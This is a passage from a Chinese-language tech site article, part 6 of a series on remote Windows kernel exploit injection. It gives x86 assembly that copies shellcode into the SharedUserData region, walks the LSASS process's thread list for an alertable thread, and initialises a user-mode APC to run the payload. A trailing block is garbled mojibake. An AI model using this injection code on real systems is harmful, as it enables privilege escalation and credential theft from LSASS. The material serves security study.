科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道Windows远程内核漏洞注入(6)

Windows远程内核漏洞注入(6)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

I386体系支持4种访问权限,也就是通常所说的特权级别。Windows NT 使用了其中的两个权限,使得NT操作系统可以在不完全支持这四种特权级别的体系中运行。
  • 评论
  • 分享微博
  • 分享邮件
    虽然可以通过0xFFDFF000->0x18->0x30找到PEB,但我们有更好的选择:把代码存放到内核-用户-共享内存区域,通常被称为SharedUserData。0xFFDF0000处是一个可写的内存区域,在那里可以保存我们的代码。这个内存区域是从用户域被标记为只读的0x7FFE0000处映射而来的,这个映射在所有的平台上都一样,所以这是个不错的选择。 由于在这个区域的内存对所有进程来来说都是可读的,所以必要把地址空间切换到目标进程,可以直接从内核把代码写入到0xFFDF0000+0x800。当排队一个用户模式APC时,把0x7FFE0000+0x800作为参数。

  call @get_eip2

  @get_eip2:

  pop esi

  mov cx, shell code-$+1

  add esi, ecx ; Get shell code address

  mov cx, (shell code_end-shell code) ; Shell code size

  mov dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800

  push edi

  mov edi, [edi] ; Copy shell code to SharedUserData

  rep movsb

  pop edi

  现在需要找到一个可以执行APC函数的线程。APC可以是内核模式APC或者用户模式APC,这里排队一个用户模式的APC。如果我们将要传递的线程没有处于“可报警等待状态”,那么用户模式APC将不会被调用。我前面已经简要的提到,一个线程可以通过调用SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx把bAlertable设置为TRUE就可以进入该状态。要找一个可用的线程需要访问该进程的ETHREAD指针,并且遍历每个线程直到找到我们所需要的线程为止。

  mov edx, [edi+16] ; Pointer to EPROCESS

  mov ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer

  @find_delay:

  mov ecx, [ecx] ; Get next thread

  cmp byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?

  jnz @find_delay

  上面的代码首先通过EPROCESS结构的ThreadListHead LIST_ENTRY取得LSASS ETHREAD结构的指针,然后检测线程状态标志。一旦找到目标线程,我们设置EBP指向KTREAD结构,接下来我们要初始APC程序。

  xor edx, edx

  push edx

  push 01 ; push processor

  push dword ptr [edi] ; push EIP of shell code (0x7ffe0000+0x800)

  push edx ; push NULL

  push offset KROUTINE ; push KERNEL routine

  push edx ; push NULL

  push ebp ; push KTHREAD

  push esi ; push APC object

  call dword ptr _keinitializeapc ; initialize APC

  我们把用户模式Shell Code(存储在SharedUserData)的EIP作为KeInitializeApc的参数,同时必须传递一个将会被调用的内核程序。我们不需要这个程序做任何事情,只需要把返回指令指向shell code就可以了,该线程的KTHREAD结构对于执行我们的APC程序也必要的,APC对象将以指针变量的形式由ESI寄存器返回。现在可以将我们的APC程序插入到目标线程的APC队列。

    • 评论
    • 分享微博
    • 分享邮件
    闂備緡鍙庨崰鏇炩枎閵忋垺濯奸柕蹇嬪€栭~锟�

    婵犵鈧啿鈧綊鎮樻径鎰畺闁靛ň鏅滄慨婊堟偨椤栨稓鎽冮柟鐑╂櫊瀹曟岸宕堕埡鍌滄殸闂佽鍨伴崢鏍姳閿涘嫭鍠嗘い銈呭姬婵☆偅婢樺Λ妤呮偂濞嗘挸瀚夐柍褜鍓熷顒侊紣娓氣偓閻涙捇鏌涘┑鍛樂缂佹鐭傞獮搴ㄥ焵椤掑嫬瀚夋い鏍ㄧ懁缁诲棝鏌熼褍鐏茬紒杈ㄧ箞閺屽洭鏁愰崟顓犳澖闁荤姳闄嶉崹钘壩i崟顖涘殜闁硅泛顫曢埀顒€锕︾槐鏃堝箣閻愬弬妤呮煛閸偄鐏﹂柛瀣墬缁傛帞鎹勯搹瑙勵啈闂佸搫瀚烽崹閬嶅磻瀹ュ鍎嶉柛鏇ㄥ墯娴犳ê霉閿濆棗鈻曢柍褜鍓氶弻銊ф閻愬鈻曢悗锝傛櫇椤忛亶鏌曢崱顓熷

    重磅专题
    往期文章
    最新文章